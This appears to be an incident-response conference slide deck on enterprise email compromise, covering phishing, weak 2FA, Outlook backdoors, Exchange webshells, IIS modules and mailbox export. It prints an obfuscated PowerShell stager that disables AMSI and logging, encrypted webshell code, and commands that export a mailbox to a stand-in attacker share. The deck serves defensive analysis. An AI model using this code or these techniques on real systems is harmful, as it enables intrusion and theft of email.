# You’ve Got Mail! ### Enterprise Email Compromise ###### Case studies and examples are drawn from our experiences and activities working for a variety of customers, and do not represent our work for any one customer or set of customers. In many cases, facts have been changed to obscure the identity of our customers and individuals associated with our customers ----- ## Introductions ##### Dan Caban #### § $whoami ##### – Principal Consultant ###### § Incident Response & Forensics ##### – .CA & .AE – 13.5 years in the industry – 4 years with Mandiant ###### @danielcabaniel linkedin.com/in/dan.caban/ ----- ## Introductions ##### Muks Hirani #### § $whoami ##### – Technical Director ###### § Incident Response in the Middle East & Africa ##### – .CO.UK & .AE – 5.5 years with Mandiant – Previous UK Government ###### @cyberamyntas linkedin.com/in/cyberamyntas/ ----- ## Agenda Source: Wikimedia Commons ###### You Got Mail! #### § Getting Access § The Second Factor? § Attack the Client § Webshells § IIS Modules and Handlers § PowerShell, ECP and EWS ----- ## Agenda Source: Wikimedia Commons #### § Getting Access § The Second Factor? § Attack the Client § Webshells § IIS Modules and Handlers § PowerShell, ECP and EWS ----- ## Attack Lifecycle **Maintain Presence** **Move Laterally** **Initial Compromise** **Establish Foothold** **Escalate Privileges** **Internal Reconnaissance** **Complete Mission** ----- ## Attack Lifecycle **Maintain Presence** **Move Laterally** **Initial Compromise** **Establish Foothold** **Escalate Privileges** **Internal Reconnaissance** **Complete Mission** ## ALL THE THINGS! ----- # Getting Access ----- ## GETTING ACCESS: Social Engineering ###### Targeting employees with social engineering tactics and phishing is still incredibly effective. ##### § Low/Medium success: ###### – Masquerading Domains – Confusingly Similar – gTLD or INTL TLD variants – Security Alerts ##### § High success: ###### – Abuse of trust from trusted suppliers and ----- ## GETTING ACCESS: Social Engineering ###### ◆Services ◆Products ◆Licenses ◆Hardware ----- ## APT 34 #### Since at least 2014, an Iranian threat ##### Iranian Cyber Espionage Group #### group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. ##### § APT34 conducts operations primarily in the ###### Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. ##### § APT34 uses a mix of public and non-public tools ###### and often uses compromised accounts to conduct spear-phishing operations. ##### § APT34 often leverages social media to perform ###### initial reconnaissance and targeting. ----- ## GETTING ACCESS: A Case Study in APT 34 Lateral Email from Enable Plants 3 Hours Later.... Movement Mimikatz Trusted Macros? Webshells Coffee Break to Partner OK! Exchange #### § Later: ##### – Evidence of staged .RAR/.PNG files on Exchange servers ###### § 206 HTTP (Download manager) ##### – Evidence of reading the email of IT security ----- ## GETTING ACCESS: Social Engineering ###### If($PSVErSIONTaBLe.PSVErsiOn.MAjOR -GE 3){$GPS=[rEf].ASSEmbLy.GetTypE('System.Managem ent.Automation.Utils')."GETFiE`LD"('cachedGroupPoli cySettings','N'+'onPublic,Static').GEtVAlUe($NUlL);If($ GPS['ScriptB'+'lockLogging']){$GPS['ScriptB'+'lockLog ging']['EnableScriptB'+'lockLogging']=0;$GPS['ScriptB '+'lockLogging']['EnableScriptBlockInvocationLoggin g']=0}ELse{[SCriPTBLoCk]."GetFIe`ld"('signatures','N'+' onPublic,Static').SEtVALue($nUll,(New-OBJeCT CollECTioNs.GEnERIc.HaSHSeT[sTRinG]))}[REf].AsSEmB lY.GetTyPE('System.Management.Automation.AmsiU tils')|?{$_}|%{$_.GETFIELD('amsiInitFailed','NonPublic, Static').SEtVAlue($Null,$truE)};};[SYstEm.NET.SerVIcEP OInTMaNAgEr]::ExPeCt100COnTINUE=0;$wc=New- OBjEcT SysTEm.NET.WEBCLiEnT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HEaderS.Add('User- Agent',$u);$WC.Proxy=[SystEM.NeT.WeBREQUESt]::D ----- ## GETTING ACCESS: Reliable Ammunition ###### One methodology used to ensure a near 100% success rate to avoid suspicion: ##### § Register a confusingly similar domain name. ###### Example: § WORLDARABBANK.COM § WORLDARABANK.COM ##### § Setup a “Catch-All” for an emails from third parties ###### destined toward. ##### § Collect expected emails from third parties, ###### weaponize and resend to the correct address. ----- ## GETTING ACCESS: A Case Study #1 ###### Bravo! A few Categorized Block, Reset, victims Phish Case Closed! Delete ----- ## GETTING ACCESS: A Case Study #1 Bravo! Categorized Block, Reset, Phish Delete Case Closed! Categorized Phish A C-Level on Distribution Entire Blocked! holiday Group Organization ----- ## GETTING ACCESS: A Case Study #1 Bravo! Categorized Block, Reset, Phish Delete Case Closed! Categorized Phish A C-Level on Distribution Entire Blocked! Guest Wifi holiday Group Organization ----- ## GETTING ACCESS: A Case Study #1 #### § 2[nd] password reset after ##### users reported outbound emails #### § 12GB gone over 3 days ----- ## GETTING ACCESS: A Case Study #2 #### § The Red Team successfully collected credentials through a targeted phishing ##### campaign – Two users with the same generic “welcome” password set by IT. – The same password was found in open source dumped databases. #### § Office 365 without 2FA ----- ## GETTING ACCESS: A Case Study #2 #### § 848 accounts with the same password (18%) § 8 domains, which included subsidiaries § 22 million email objects § 4.8TB of email data § Without considering: ##### – Other Office 365 services like OneDrive – Web services that share authentication ----- # The Second Factor? ----- ----- ## THE SECOND FACTOR? SMS Text Message OTP #### § A customer began a project to implement text message OTP for 2FA. § The OTP was sent to the phone number associated with the user in AD. ##### Can you imagine what happened? ----- ## THE SECOND FACTOR? SMS Text Message OTP #### § A customer began a project to implement text message OTP for 2FA. § The OTP was sent to the phone number associated with the user in AD. ##### Can you imagine what happened? ----- ## THE SECOND FACTOR? Delivered via Email #### § A customer implemented MAC address based 2FA for VPN remote access. ##### Can you imagine what happened? ----- ## THE SECOND FACTOR? Delivered via Email #### § A customer implemented MAC address based 2FA for VPN remote access. ##### Can you imagine what happened? #### § A customer began a project to implement soft tokens with RSA for 2FA. ###### § Attacker has been actively reading the “RSA” email address used for token delivery. § Copied the entire “.pst” archive a compromised server. § Attacker had been accessing the RSA Authentication Manager. ##### Can you imagine what happened? ----- ## THE SECOND FACTOR? Third Parties #### § “ActiveSync continues to work as it did prior to installing Duo. Duo's OWA ##### application does not add two-factor authentication to the EWS and ActiveSync endpoints. ActiveSync clients will not see an MFA prompt. We do not recommend exposing the ActiveSync endpoint to external access.” ----- #### § 2[nd] password reset after ##### report #### § 12GB gone over 3 days § Reset unsuccessful? ##### – ActiveSync #### § SPAM ----- # Attack the Client ----- ## Attack The Client: Client Side #### § Vulnerabilities found in Outlook configuration. ###### Server Zone (DMZ) ##### – Patched promptly. #### § Issues include: ##### – Rules Exchange Server ###### § Abuse of rules designed to open a local document. ##### – Homepages ###### Offsite / Untrusted Client Zone (Secure) § Abuse of HTML homepages for inboxes. #### § Seen in the wild! ----- ## Attack The Client: HomePage #### § POC ###### ----- ## Attack The Client: HomePage #### § POC ###### Client ----- ## Attack The Client: Add-Ins ##### POSTALBOOK / POSTALDOOR #### § An .NET Outlook Add-in backdoor capable of: ##### – download – upload – execute – load modular plugins – sysinfo #### § Creates a hidden folder for messages. § Creates a rule to move incoming/outgoing messages to hidden folder. ----- ## Attack The Client: Add-Ins ##### POSTALBOOK / POSTALDOOR #### § Embedded resource with configuration data XOR’d ##### § RSA encryption keys § Email beacon addresses. § Email beacon format and templates. #### § On Launch of Outlook: ##### § Uses WMI and Registry settings as beacon details. § Beacon is encrypted and embedded as a PNG chunk. § PNG is embedded as base64 into HTML email formatted by configuration template. ----- ## Attack The Client: Add-Ins ##### POSTALBOOK / POSTALDOOR #### § Adds handler to read all incoming email ###### IsMailForMe()? PNG Images? Decrypt Profit? • SMTP References • Base64 • Validate Header • download •Validated md5 Embedded • Extract Chunk • upload bytes • Attach,emts • Decrypt Chunk • Execute, etc. ----- ## Attack The Client: Backdoors ##### 0x00FACADE #### § A .DLL backdoor capable of: ##### – harvesting e-mail – uploading – downloading – execution #### § Supports the following e-mail clients: ##### – Microsoft Outlook – Outlook Express – Thunderbird ----- # Webshells ----- ## Webshells ----- ## Webshells: Exchange #### § A default Exchange 2013 install: ##### – .ASPX Files: 584 files in 55 folders – .DLL Modules (more on this later): 20 Native and 14 Managed … ----- ## Webshells: The Beginning ----- ## Webshells: Evasions & Embedding ----- ## Webshells: A recent technique ###### flogon.is logon.aspx logoff.aspx ftpext.tlb ----- HttpCookie s = Request.Cookies["session"]; ## Webshells: Dynamic HttpCookie s_id = Request.Cookies["session_id"]; …. SHA1 sha = new SHA1CryptoServiceProvider(); byte[] serial1 = System.Convert.FromBase64String(s_id.Value.Substring(1)); #### § COOKIES contain encrypted webshell byte[] serial2 = System.Text.Encoding.UTF8.GetBytes("722f4494-15b6-4748-ae53- ##### along with key necessary for 7aa3a57821b2"); decryption. byte[] serial = new byte[serial1.Length + serial2.Length]; System.Buffer.BlockCopy(serial1, 0, serial, 0, serial1.Length); System.Buffer.BlockCopy(serial2, 0, serial, serial1.Length, serial2.Length); #### § POST data that is intended to be byte[] e1 = sha.ComputeHash(serial);byte[] e2 = System.Convert.FromBase64String(s.Value.Substring(1)) ##### interpreted by final web shell. …string session = System.Text.Encoding.UTF8.GetString(RC4.crypt(e1, e2)); ICodeCompiler loCompiler = new CSharpCodeProvider().CreateCompiler(); CompilerParameters loParameters = new CompilerParameters(); … // *** Load the resulting assembly into memory Compile Run loParameters.GenerateInMemory = true; RC4 / *** Now compile the whole thing Cookies in Dynamic Decrypt **CompilerResults loCompiled =** Memory Webshell **loCompiler.CompileAssemblyFromSource(loParameters,session); /** **Assembly loAssembly = loCompiled.CompiledAssembly;** … object loObject = loAssembly.CreateInstance("MyNamespace.MyClass"); object[] loCodeParms = new object[3]; loCodeParms[0] = Request; loCodeParms[1] = Response; loCodeParms[2] = e1; … **object loResult =** **loObject.GetType().InvokeMember("DynamicCode",BindingFlags.InvokeMethod,** ----- public class MyClass ## Webshells: Dynamic { public void DynamicCode(params object[] Parameters) { HttpRequest Request = (HttpRequest) Parameters[0]; #### § COOKIES contain encrypted webshell HttpResponse Response = (HttpResponse) Parameters[1]; ##### along with key necessary for byte[] key = (byte[]) Parameters[2]; decryption. Random r = new Random(); Response.ClearContent(); #### § POST data that is intended to be try { ##### interpreted by final web shell. string output = ""; byte[] bytes = Request.BinaryRead(Request.ContentLength); bytes = RC4.crypt(key, bytes); FileStream fs = File.OpenWrite(@"c:\PerfLogs\Bandwidth.ps1"); Compile Run fs.Seek(0, SeekOrigin.Begin); RC4 fs.Write(bytes, 0, bytes.Length); Cookies in Dynamic Decrypt fs.Flush(); Memory Webshell fs.Close(); output = "OK”; …. ----- |Name|Usage| |---|---| |s|Base64-encoded RSA signature for the source code. It used the RSACryptoServiceProvider::VerifyData and SHA-1 as a hashing algorithm.| |d|Base64 encoded AES128-CBC encrypted .NET source code. Will be executed if the signature in HTTP POST parameter ”s” matches.| |p|Thee Base64 encoded parameters supplied to the compiled code, also AES128-CBC encrypted.| |sc|Name of the HTTP(s) cookie to store the file name where the symmetric key is stored.| ## Webshells: Dynamic & Signed #### § Attacker used a RSA private key that matches the hard-coded 2,048-bit public key, ##### embedded inside the web shell ###### String n = "0TvWBLFriALALHr0T7FEOCder7jFUjuocg5Nw/OSQ1EhwQ3oj5Exuxo+kD/CDldF8MM/==etc..etc.. RSACryptoServiceProvider RSA = new RSACryptoServiceProvider(); RSAParameters param = new RSAParameters(); param.Modulus = Convert.FromBase64String(n); **Name** **Usage** s Base64-encoded RSA signature for the source code. It used the RSACryptoServiceProvider::VerifyData and SHA-1 as a hashing algorithm. d Base64 encoded AES128-CBC encrypted .NET source code. Will be executed if the signature in HTTP POST parameter ”s” matches. p Thee Base64 encoded parameters supplied to the compiled code, also AES128-CBC encrypted. sc Name of the HTTP(s) cookie to store the file name where the symmetric key is stored. ----- |Col1|HTTP POST Request HTTP Response|cookie set? Yes Generate: AES key (128 bit) GUID (128 bit)| |---|---|---| ## Webshells: Dynamic & Signed Attacker getidtoken.aspx No SC cookie Source code set? HTTP POST Request Yes 2048 bits RSA Generate: private key AES key (128 bit) GUID (128 bit) HTTP Response GUID Read AES key From file %TEMP%\GUID HTTP POST Request Decrypt source code via HTTP POST ‘d’. ‘s’ and ‘p’ No Signed code Ok? Yes Decrypt source code via HTTP POST ‘d’. End ‘s’ and ‘p’ ----- # IIS Modules, Handlers, and Transport Agents ----- ## Extending IIS #### § GET /webshell.aspx?cmd=whoami § POST /webshell.aspx ##### – cmd=whoami ----- ## Extending IIS #### § GET / § POST / ----- ## Extending IIS #### § ISAPI Filters in the past § Managed Modules ##### – .NET – Inherits ASP.NET privileges (web.config) #### § Native Modules ##### – C++ – Admin rights required to register (GUI or AppCmd) – Elevated privileges – Can access all requests, not just .aspx ###### Source: https://msdn.microsoft.com/en-us/library/bb470252.aspx ----- ## Extending IIS: Managed Modules #### § Microsoft.Exchange.Clients.Auth.dll ----- ## Extending IIS: Native Modules #### § Exported function: RegisterModule § HttpParser.dll ##### – RGSESSIONID cookie contains base64 encoded & XOR’d command. ###### § Execute: cmd$ § Upload: upload$ § Download: download$ #### § HttpModule.dll ##### – If 25th known headers in HTTP raw header is "Default-Windows” ###### § Execute: rc § Upload: uf ----- ## Extending IIS: Transport Agents #### § “Transport agents let you install custom software that is created by Microsoft, by ##### third-party vendors, or by your organization, on an Exchange server. This software can then process email messages that pass through the transport pipeline. #### § In Microsoft Exchange Server 2013, the transport pipeline is made of the following ##### processes: ###### § The Front End Transport service on Client Access servers § The Transport service on Mailbox servers § The Mailbox Transport service on Mailbox servers § The Transport service on Edge Transport servers” ----- ## Extending IIS: Transport Agents ##### XTRANS #### § C2 commands and data as encrypted within PDF/JPEG attachments in emails. ##### – Highly configurable using encrypted xml config files – Complex boolean logic containing and/or/not contains etc on: ###### § Attachments § Subjects § Senders § Receivers ----- |TRANS|Col2| |---|---| |Handler|Description| |logHandler|Writes attachments to disk at the path identified by LOG_OUTPUT.| |blockHandler|Does not manipulate the message but returns a value that could be used by the caller to process a message differently, for example, block the message.| |zipHandler|Write email contents to a ZIP_FILE_NAME with a portion of the file name being randomly generated integer less than 99999.| |commandHandler|Send command to the malware| |changeSubjectHandler|Changes the subject of an email.| |changeBodyHandler|Replaces the contents of the body of an email message.| |createHandler|Duplicates an email message with the subject changed.| |spamHandler|Sends multiple messages with the subject spam.| |replaceHandler|Replaces attachments with a file located on disk.| |statHandler|Collects the data, sender, recipient, subject, and attachment names into a comma separated list.| ## Extending IIS: Transport Agents ##### XTRANS **Handler** **Description** logHandler Writes attachments to disk at the path identified by LOG_OUTPUT. blockHandler Does not manipulate the message but returns a value that could be used by the caller to process a message differently, for example, block the message. zipHandler Write email contents to a ZIP_FILE_NAME with a portion of the file name being randomly generated integer less than 99999. commandHandler Send command to the malware changeSubjectHandler Changes the subject of an email. changeBodyHandler Replaces the contents of the body of an email message. createHandler Duplicates an email message with the subject changed. spamHandler Sends multiple messages with the subject spam. replaceHandler Replaces attachments with a file located on disk. statHandler Collects the data, sender, recipient, subject, and attachment names into a comma separated list. changeToHandler ----- # Powershell, ECP, and EWS ----- ## PS, ECP, and EWS: Forwarders #### § ForwardSMTPAddress ----- ## PS, ECP, and EWS: Rules #### § ForwardAsAttachmentTo, ForwardTo & RedirectTo ----- ## PS, ECP, and EWS: Exporting #### § New-ManagementRoleAssignment -Role "Mailbox Import Export" -User ##### ”dan@malwhere.com" #### § New-MailboxExportRequest -Mailbox poor.bloke -FilePath ##### \\MALWHEREMAIL01\PSTS\Email.pst ----- ## PS, ECP, and EWS: e-Discovery #### § https://mail.server.com/ecp/ ----- ## PS, ECP, and EWS: e-Discovery #### § E-Discovery Feature in Microsoft Exchange that allows for you to search, collect, ##### and hold e-mail across all email accounts. #### § Identified email is collected and stored. The default account in all organizations is ##### – DiscoverySearchMailbox{d919ba05-46a6-415f-80ad- 7e09334bb852}@companyname.com ----- ## PS, ECP, and EWS: e-Discovery #### § New-MailboxSearch (eDiscovery and Litigation Holds) ## PROFIT! ----- ## PS, ECP, and EWS: e-Discovery ----- ## Attack Lifecycle **Maintain Presence** **Move Laterally** **Initial Compromise** **Establish Foothold** **Escalate Privileges** **Internal Reconnaissance** **Complete Mission** ## ALL THE THINGS! ----- # Thank you! -----